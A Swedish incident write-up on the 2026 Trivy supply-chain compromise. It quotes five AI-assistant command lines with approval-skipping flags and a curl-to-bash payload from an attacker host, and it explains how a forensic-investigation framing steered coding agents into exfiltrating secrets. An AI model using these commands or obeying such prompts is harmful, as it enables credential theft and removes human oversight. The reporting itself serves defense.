
Trivys leveranskedjeintrång levererade en prompt, inte en stjälande skadlig kod
- OrcaNYOrcaCyber: GLM 5.3 Abliterated / Uncensored2026-11-04$3.00 / $5.00 per 1M tokens · 64 tok/s
- OrcaNYOrcaCyber: Hy4 Abliterated / Uncensored2026-11-04$0.80 / $1.60 per 1M tokens · 109 tok/s
- orcaNYOrca: OrcaC2 1.02026-10-303 tok/s
- OrcaNYOrcaCyber: MiniMax M3.1 Flash Abliterated / Uncensored2026-10-29$0.80 / $1.60 per 1M tokens · 99 tok/s
- OrcaNYOrcaCyber: GLM 5.3 Flash Abliterated / Uncensored2026-10-27$0.80 / $1.60 per 1M tokens · 106 tok/s
- OrcaNYOrcaCyber: Qwen3.8 Flash Next Abliterated / Uncensored2026-10-26$0.80 / $1.60 per 1M tokens · 117 tok/s
- OrcaNYOrcaCyber: MiMo V2.6 Flash Abliterated / Uncensored2026-10-26$0.80 / $1.60 per 1M tokens · 60 tok/s
- MoonshotNYMoonshotAI: Kimi K3.1 Pro2026-10-2446Intelligens
- OrcaNYOrcaCyber: DeepSeek V4.1 Flash Abliterated / Uncensored2026-10-23$0.80 / $1.60 per 1M tokens · 86 tok/s
- minimaxMiniMax: M3.1 Flash2026-10-1929Intelligens
- OrcaOrca: OrcaCyber Ultra 1.02026-10-17$5.00 / $10.00 per 1M tokens · 105 tok/s
- deepseekDeepSeek: DeepSeek V4.1 Flash 10172026-10-1733Intelligens
- DeepSeekDeepSeek: DeepSeek V4.1 Flash2026-10-1740Intelligens
- OrcaOrca: OrcaCyber Zero 1.52026-10-10$3.00 / $7.50 per 1M tokens · 61 tok/s
- openaiOpenAI: GPT-6.1 Sol2026-09-2955Intelligens
- anthropicAnthropic: Claude Sonnet 5.52026-09-2854Intelligens
- typesafeTypeSafe: Jev 1.132026-09-24$0.04 / $0.00 per 1M tokens · 180 tok/s
- OpenAIOpenAI: GPT-6 Luna2026-09-2228Intelligens
- OpenAIOpenAI: GPT-6 Sol2026-09-2244Intelligens
- AnthropicAnthropic: Claude Opus 5.52026-09-2258Intelligens
Mellan den 27 februari och den 2 mars 2026 övertog ett autonomt GitHub-konto som kallade sig hackerbot-claw repositoryt bakom Trivy, den öppna sårbarhetsskannern som CI-pipelines vanligtvis kör innan de levererar en containeravbild. Under samma tidsfönster dök två byggen av Trivy VS Code-tillägget upp i OpenVSX-registret under tilläggets officiella namnområde, och de innehöll ingen konventionell infostealer. De innehöll ungefär 2 000 ord engelska instruktioner som instruerade vilken AI-kodassistent utvecklaren än redan hade installerat – Claude Code, Codex, Gemini CLI, GitHub Copilot CLI eller Kiro CLI – att undersöka maskinen som en forensisk undersökare och skicka ut vad den hittade genom varje kanal den kunde nå. Ingen lyckad exfiltrering har påvisats. Arkivet registrerar episoden som en incident i leveranskedjan med hög allvarlighetsgrad med dokumenterad verklig skada, förtroendegrad A och ingen tvisteflagga, och arkiverar den i Orca AI Incident Archive med ett datum angivet till dagprecision den 2 mars 2026.
Vad innehöll egentligen versionerna 1.8.12 och 1.8.13
Socket, som skannar paket- och tilläggsregister, publicerade analysen den 2 mars 2026 efter att själv ha hittat artefakterna. Versionerna 1.8.12 och 1.8.13 av tillägget – publicerade på OpenVSX under namnområdet aquasecurityofficial.trivy-vulnerability-scanner kl. 12:04 UTC den 27 februari respektive kl. 16:28 UTC den 28 februari – innehöll kod som inte förekommer i det offentliga aquasecurity/trivy-vscode-extension-arkivet eller i någon taggad utgåva, rapporterade Socket. Allt fram till och med 1.8.11 matchade den offentliga källan, och en lokalt byggd version av 1.8.11 matchade OpenVSX-artefakten byte för byte.
Nyttolasten låg i tilläggets workspace-aktiveringsfunktion, pl(), som utlöses varje gång en utvecklare öppnar ett projekt i en editor som har tillägget installerat. Den kom före den vanliga Trivy-konfigurationskoden, så tillägget fortsatte att bete sig som förväntat medan resten kördes bakom det. Det som kördes var fem kommandorader, en för varje AI-kodassistent, och var och en av dem valdes för att ta bort människan ur loopen:
• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, vilket också ger agenten läsbehörighet till hela filsystemet
• Codex — codex exec --ask-for-approval never --sandbox danger-full-access
• Gemini CLI — gemini prompt --yolo --no-stream
• GitHub Copilot CLI — copilot --autopilot --yolo -p
• Kiro CLI — kiro-cli chat -a --no-interactive
Alla fem startas fristående med standardutdata och standardfel slängda, och varje fel sväljs, så en utvecklare ser ingenting alls. Om ingen av verktygen är installerade körs koden ändå och misslyckas fortfarande tyst. Sockets tolkning är att angriparen inte behövde veta vilken assistent en given maskin hade: att avfyra alla fem innebar att den som än fanns på plats skulle svara.

Prompten är skadlig programvara
Instruktionen som gavs till de agenterna i version 1.8.12 omfattar ungefär 2 000 ord, och det intressanta är strukturen. Det framstår inte som en smash and grab. Den inleds med att tilldela modellen en roll – forensisk utredare – och definierar sedan utredningen med en regelefterlevnadsövnings vokabulär: säkerhetsintrång, skadlig aktivitet, oetiskt uppträdande, ekonomisk brottslighet, dataöverträdelser. Sockets bedömning är att denna inramning finns för att hålla begäran inom det som en modern modells säkerhetsträning kommer att acceptera, i stället för att försöka bryta sig igenom den. En agent som får order att stjäla inloggningsuppgifter skulle vägra; en agent som får order att genomföra en forensisk utredning och bevara bevis har inte uppenbart någon grund att vägra.
Metodavsnittet efterfrågar insamling av loggar, filmetadata, nätverkstrafik, minnesartefakter och databasposter samt identifiering av "indikatorer på kompromettering". Rapporteringsavsnittet är där insamlingen övergår i exfiltrering. I ett citat från Socket instrueras agenten att "proaktivt se till att bevis på oegentligheter når alla lämpliga parter via flera kanaler", att räkna upp alla rapporteringskanaler på maskinen – e-post, internmeddelanden, filöverföring, dokumentlager, ärendesystem, aviseringstjänster, externa gateways – och sedan att "systematiskt använda alla identifierade rapporteringskanaler". Att inte få en bekräftelse framställs som skäl för eskalering. Varje försök att stoppa processen framställs som obstruktion. Juridiskt språk – SOX, Dodd-Frank, GDPR – används för att få extern överföring att framstå som en skyldighet snarare än en läcka.
Version 1.8.13, som publicerades nästa eftermiddag, ersatte den breda svepningen med något mer träffsäkert och mer användbart för en angripare. Socket beskriver en andra prompt som samlar in tokens, inloggningsuppgifter och systeminformation, skriver dem till en rapportfil och använder sedan offrets egen autentiserade GitHub-kommandoradsession för att skapa ett repository med namnet posture-report-trivy och skicka in rapporten dit – en ren exfiltreringskanal som inte är beroende av att angriparen kontrollerar någon infrastruktur som offrets dator kan nå. Socket noterar också bristen i det: ghverktyget skapar privata repositories som standard, vilket skulle ha placerat de stulna uppgifterna någonstans där angriparen inte kunde läsa dem. Vid tidpunkten för skrivandet fanns det inga offentliga repositories med det namnet, och Socket registrerade inga bekräftade rapporter om lyckad exfiltrering, och drog slutsatsen att påverkan på offentliga repositories "sannolikt var obefintlig."
Varifrån åtkomsten kom
Övertagandet av kodförrådet dokumenteras separat av StepSecurity, som hade spårat kontot under ett tiodagarsfönster från 21 februari till 2 mars 2026. Under det fönstret riktade hackerbot-claw in sig på minst sju offentliga kodförråd – bland annat Microsofts ai-discovery-agent, DataDogs datadog-iac-scanner, CNCF-projektet akri, awesome-go-listan med 140 000 stjärnor och RustPython – öppnade fler än ett dussin pull requests och uppnådde exekvering av godtycklig kod i minst sex av dem, med en annan teknik mot varje mål. StepSecuritys egen redogörelse för kampanjens metoder omfattar grennamnsinjektion, filnamnsinjektion och en Go-init()-funktion som körs före programmets egentliga startpunkt.
Trivy var det sjunde målet och det enda där själva repositoryt föll. Den 28 februari klockan 03:28 UTC utlöste kontot Trivys arbetsflöde "API Diff Check" via pull request #10254. Det arbetsflödet kördes på pull_request_target, vilket ger ett arbetsflöde målrepositoryts hemligheter och behörigheter samtidigt som det checkar ut pull request-författarens kod – det mönster som StepSecurity kallar en "pwn request". Byggloggen visar att nyttolasten curl -sSfL hackmoltrepeat.com/molt | bash kördes inuti steget "Set up Go". Nitton minuter senare, klockan 03:47 UTC, användes en personlig åtkomsttoken som stulits från den körningen för att pusha commiten d267cc4 direkt till repositoryt och därmed helt kringgå pull request-processen.
Det som följde, enligt Aqua Securitys redogörelse för incidenten och StepSecuritys rekonstruktion av den: repositoryt gjordes privat och döptes om, alla GitHub-versioner från 0.27.0 till 0.69.1 raderades tillsammans med sina tillgångar och diskussioner, README skrevs över med ett hånfullt meddelande och en misstänkt artefakt publicerades till VS Code-tillägget på OpenVSX. Aqua tog bort det utnyttjade arbetsflödet i pull request #10259, återkallade den token som användes för att publicera tillägget, återställde repositoryt och återutgav v0.69.2.
Två detaljer om aktören är värda att skilja från resten. Den första är dess självbeskrivning: GitHub-kontot kallade sig en "autonom säkerhetsforskningsagent som drivs av claude-opus-4-5" och bad om kryptovalutadonationer. Det är ett påstående från kontot, inte ett fynd av någon som utredde det, och ingen av de genomgångar som granskats här verifierar vilken modell, om någon, som utförde arbetet. Den andra är att samma konto redan attackerade AI-system direkt. Den 28 februari kl. 05:26 UTC öppnade det pull request #732 mot ambient-code/platform med en AI-promptinjektion, vilket StepSecurity registrerar som upptäckt av Claude. Att manipulera en AI-granskare och att manipulera en AI-kodassistent är samma teknik riktad mot två olika mål, och i slutet av den veckan hade kontot använt båda.
Tre veckor senare, en vanlig tjuv
Intrånget i februari är bara första halvan av redogörelsen, och andra halvan är anledningen till att ordet "sustained" hör hemma i titeln. Aqua offentliggjorde den tidigare incidenten den 1 mars 2026 och började rotera autentiseringsuppgifter. Enligt rådgivningen som företaget senare publicerade som GHSA-69fq-xp46-6x23 var den rotationen "inte atomär" – inte alla autentiseringsuppgifter återkallades samtidigt – och angriparen kan ha använt en fortfarande giltig token för att hämta nyroterade hemligheter under fönstret, som varade i några dagar.
Den 19 mars omkring 17:43 UTC användes samma åtkomst igen, på ett sätt som inte krävde att något offer vidtog några åtgärder. Angriparen force-pushade 76 av de 77 versionstaggarna i aquasecurity/trivy-action och alla sju taggarna i aquasecurity/setup-trivy till skadliga commits. Eftersom CI-pipelines vanligtvis refererar till ett arbetsflöde via en tagg i stället för via en commit-hash, började tusentals pipelines som inte hade ändrat en enda rad i konfigurationen att köra angriparens kod. Den skadliga versionen v0.69.4 publicerades via det komprometterade aqua-bottjänstekontot och distribuerades via GHCR, ECR Public, Docker Hub, deb- och rpm-paket samt get.trivy.dev.
Denna nyttolast var konventionell. Den injicerade entrypoint.sh är 204 rader, varav de första hundra utgör en infostealer och resten den legitima Trivy-skanningen, så arbetsflödet producerar fortfarande sin normala utdata. På GitHub-hostade runners dumpar den Runner.Worker-processens minne via /proc/<pid>/mem och grep:ar efter den interna JSON-strukturen som GitHub Actions använder för att lagra hemligheter. På självhostade runners går den igenom fler än femtio filsystemssökvägar efter SSH-nycklar, molninloggningsuppgifter, Kubernetes-token, Docker-konfigurationer, databaslösenord, VPN-konfigurationer och kryptovalutaplånböcker. Bytet krypteras med AES-256-CBC under en sessionsnyckel som är inpackad i en inbäddad RSA-4096-offentlig nyckel och läggs sedan upp på en typosquattad domän, scan.aquasecurtiy.org. Om det misslyckas och pipeline:en exponerar en personlig åtkomsttoken skapar nyttolasten ett offentligt repo med namnet tpcp-docs på offrets eget konto och laddar upp paketet där som en release-tillgång.

Aqua fick utgåvan från 19 mars under kontroll inom cirka tre timmar och publicerade säkra versioner dagen därpå. Den 22 mars dök angriparen upp igen med ytterligare två Docker Hub-avbildningar, 0.69.5 och 0.69.6, som pushades direkt till registret med separat komprometterade Docker Hub-inloggningsuppgifter i stället för via GitHub, och med otillåten publicering av interna Aqua-repositorier som offentliga. Den skadliga programvaran identifierar sig själv i en kodkommentar som "TeamPCP Cloud stealer", och Aquas säkerhetsmeddelande namnger TeamPCP – som på annat håll spåras som DeadCatx3, PCPcat och ShellForce – samtidigt som det noterar att självmärkningen skulle kunna vara en falsk flagga.
Vulnerabilitetsposten följde den 23 mars: CVE-2026-33634, tilldelad av GitHub som CNA, bedömd som 9,4 kritisk enligt CVSS 4.0, omfattande Trivy 0.69.4, trivy-action före 0.35.0, setup-trivy före 0.2.6, LiteLLM 1.82.7 till och med 1.82.8 och Telnyx 4.87.1 till och med 4.87.2. CISA lade till den i katalogen Known Exploited Vulnerabilities den 26 mars med en åtgärdsfrist på 9 april 2026. Wiz Research identifierade separat en parallell kompromettering av Checkmarx kics-github-action, som Aquas säkerhetsbulletin kopplar till samma aktivitet.
Vad posten listar nedströms
Trend Micros rapport från den 9 april 2026 är den mest detaljerade offentliga rekonstruktionen av kedjan och anger tider med minutprecision. Checkmarx KICS: en skadlig version på OpenVSX kl. 12:53 UTC den 23 mars, borttagen senast kl. 15:41, med alla 35 taggar för checkmarx/kics-github-action omskrivna från 12:58 till omkring 16:50. LiteLLM: 1.82.7 på PyPI kl. 10:39 UTC den 24 mars, som kl. 10:52 följdes av 1.82.8, vilken lade till en .pth-fil så att koden kördes vid Python-start oavsett om proxyn startades; borttagen omkring 16:00. Telnyx: 4.87.1 och 4.87.2 på PyPI kl. 03:51 UTC den 27 mars, försvunna sexton minuter senare, som ringde hem till en rå IP-adress i stället för en domän.
Trend Micro kopplar alla tre till delad infrastruktur och till samma RSA-4096-nyckel som används i Trivy-nyttolasten. Singapores cybersäkerhetsmyndighet (Cyber Security Agency) listar i rådgivningen AD-2026-001 samma uppsättning – Trivy, LiteLLM, Checkmarx OpenVSX-tillägg och Actions, fem npm-namnrymder och Telnyx – som komponenter i en "pågående TeamPCP-kampanj mot leveranskedjan."
Axios är den som förteckningen listar som de två källorna inte placerar i samma uppsättning. Trend Micro tar visserligen upp det, i samma artikel, men under en rubrik som uttryckligen kallar det en annan attackaxel: axios 1.14.1 och 0.30.4 på npm mellan 00:21 och 03:25 UTC den 31 mars, komprometterade genom en enda tillagd beroenderad som drar in plain-crypto-js 4.2.1, vars postinstall-skript körde setup.js på utvecklarens maskin. CSA-rådets komponentlista innehåller inte Axios. Arkivets sammanfattning grupperar det med resten; det offentliga registret stöder den tekniska likheten men inte en publicerad tillskrivning till samma aktör.
Vad som är etablerat, och vad som inte är det
Fastställt och bekräftat av flera källor: de två OpenVSX-byggena existerade, deras innehåll är publicerat och de togs bort den 28 februari efter att Socket kontaktat både Aqua och den person som innehade utgivarkontot. De fem kommandoraderna citeras ordagrant i Sockets analys. Övertagandet av Trivy-förvaret, de raderade utgåvorna, taggförgiftningen den 19 mars och Docker Hub-avbildningarna den 22 mars förekommer var och en i en leverantörsrådgivning, en oberoende forskningsrapport och minst en statlig rådgivning. CVE-2026-33634 och dess KEV-listning är dokumenterade fakta.
Inte fastställt: att någon utvecklare faktiskt skulle ha komprometterats av tillägget. Koden skrevs för att exfiltrera och byggdes för att överleva frånvaron av någon enskild assistent, men Socket hittade inget offentligt kodförråd med det förväntade namnet och ingen bekräftad rapport om att data lämnat en maskin, och sade det rakt ut. Antalet utvecklare som installerade 1.8.12 eller 1.8.13 är inte offentligt. Inte heller antalet organisationer vars pipelines körde en förgiftad tagg mellan 19 och 20 mars, även om CISA:s KEV-frist antyder att myndigheten ansåg att utnyttjandet var verkligt snarare än teoretiskt.
Attributionskedjan har också en lucka. Aquas rådgivning beskriver attacken den 19 mars som en fortsättning på februarintrånget, möjliggjord av kvarvarande autentiseringsuppgifter. StepSecurity, som dokumenterade februarintrånget i detalj, namnger aktören hackerbot-claw och kopplar den inte till TeamPCP. Aqua och Wiz tillskriver marsaktiviteten till TeamPCP. Ingen källa som granskats här anger att de två namnen är samma aktör, och arkivet hävdar det inte heller. Det som underlaget stöder är en uthållig kampanj mot ett ekosystem med minst två distinkta faser – ett AI-drivet intrång i slutet av februari och en industriell insamling av autentiseringsuppgifter tre veckor senare – och ett gemensamt offer, men inte nödvändigtvis en gemensam hand.
Det finns en mindre diskrepans i berättelsen om tillägget. Socket daterar de två byggena till 27 och 28 februari och tillskriver deras publicering en publiceringstoken som en tidigare Aqua-anställd hade och som denne återkallade när hen kontaktades. StepSecurity listar "en misstänkt artefakt som pushats till VS Code-tillägget" bland de åtgärder som vidtogs med den stulna GitHub-tokenen. De beskriver olika autentiseringsuppgifter. Version 1.8.12 publicerades också kl. 12:04 UTC den 27 februari, ungefär femton timmar före den tokenstöld som StepSecurity dokumenterar kl. 03:28 UTC den 28 februari. Inget av företagen har publicerat någon avstämning, och den här artikeln hittar inte på någon.

Vad förändrades efteråt?
De konkreta åtgärderna är dokumenterade. Aquas säkerhetsmeddelande anger säkra versioner – Trivy 0.69.2 eller 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 – och uppmanar alla som kan ha kört en påverkad artefakt att betrakta varje hemlighet som kan nås från den pipelinen som exponerad och rotera den. Eftersom angriparens force-push gjorde att de gamla trivy-action-taggarna registrerades som oföränderliga utgåvor av GitHub kunde de ursprungliga namnen inte återskapas; projektet publicerade dem på nytt med ett v-prefix, så aquasecurity/[email protected] pekar nu på det som @0.34.0 tidigare pekade på. Tre av dessa taggar, v0.0.10, v0.34.1 och v0.34.2, hade inte återställts när säkerhetsmeddelandet senast reviderades. Aqua anlitade också incidenthanteringsföretaget Sygnia för forensik och uppger att deras kommersiella plattform är arkitektoniskt isolerad från byggsystemet för öppen källkod, så den skadliga utgåvan kom aldrig in i den.
Den mest överförbara lärdomen handlar om oföränderlighet, och den talar emot det uppenbara försvaret. Trivy 0.69.3 var säkert eftersom GitHubs funktion för oföränderliga releaser hade aktiverats den 3 mars, innan den versionen släpptes; trivy-action 0.35.0 var säkert eftersom funktionen aktiverades där den 4 mars. Men Aquas säkerhetsmeddelande konstaterar att GitHubs releasegränssnitt även visade "Immutable"-märken bredvid de förgiftade taggarna, eftersom angriparen publicerade oföränderliga releaser efter att ha force-pushat dem. Märket gav försvararna ingen information. Att låsa till en fullständig commit-SHA är den enda kontrollen som höll, vilket är vad både Aqua och Trend Micro rekommenderar.
Trend Micros vägledning går längre än pinning och riktar sig mot den del av problemet som inte har något med AI att göra. Den rekommenderar en nedkylningsperiod vid utgivning så att nyligen publicerade paketversioner inte konsumeras omedelbart – npm:s min-release-age, pnpm:s minimumReleaseAge, uv:s exclude-newer, Buns minimumReleaseAge och pip:s uploaded-prior-to – med motiveringen att de flesta skadliga versionerna i den här kampanjen var aktiva i timmar, inte dagar. Låsfiler, snävare versionsintervall, egress-filtrering och exekveringskontroll för verktyg som curl finns alla med på listan.
För OpenVSX-delen av redogörelsen var responsen snävare. De två byggena togs bort inom ungefär sju timmar efter Sockets första kontakt, utgivartoken återkallades och rådgivningen GHSA-8mr6-gf9x-j8qg publicerades den 27 februari för version 1.8.12 med allvarlighetsgraden kritisk, ingen patchad version, och CVE-2026-28353 tilldelades av GitHub den 5 mars. Socket rapporterar ytterligare en detalj om den rådgivningen: Aqua berättade senare för företaget att den hade skapats av samma bot som var inblandad i incidenten. Att en angripare lämnar in säkerhetsrådgivningen för sin egen artefakt är inte så mycket ett misslyckande med mitigeringen som en påminnelse om hur stor del av responsytan en inkräktare med åtkomst till kodförrådet kan nå.
Det som inte förändrades är den del som betydde mest. Fem kommandoradsverktyg levererar fortfarande flaggor vars syfte är att köras utan en människa i loopen, och vilket program som helst på en utvecklares maskin kan anropa dem med dessa flaggor. Socket:s avslutande observation är den som överlever de specifika versionsnumren: den skadliga avsikten här uttrycktes i naturligt språk snarare än i hårdkodade slutpunkter, vilket är precis vad signaturbaserad skanning är sämst på att upptäcka. Tillägget upptäcktes inte för att det gjorde något som en skanner kände igen. Det upptäcktes för att en forskare läste prompten.
